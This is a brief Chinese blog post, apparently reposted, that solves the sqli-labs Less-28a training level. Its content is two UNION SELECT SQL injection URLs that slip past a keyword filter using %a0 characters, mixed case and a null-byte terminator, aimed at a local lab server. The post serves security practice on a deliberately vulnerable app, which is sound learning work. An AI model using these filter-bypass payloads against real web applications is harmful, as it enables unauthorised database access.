【sqli-labs】 less28a GET- Blind based -All you Union&Select Belong to us -String -Single quote-parent...

和less28没什么区别，直接上个payload吧

http://192.168.136.128/sqli-labs-master/Less-28a/?id=0')%a0uNion%a0sElect%a01,2,('3

这样也行

http://192.168.136.128/sqli-labs-master/Less-28a/?id=0')%a0uNion%a0sElect%a01,2,3;%00

 

 

转载于:https://www.cnblogs.com/omnis/p/8372081.html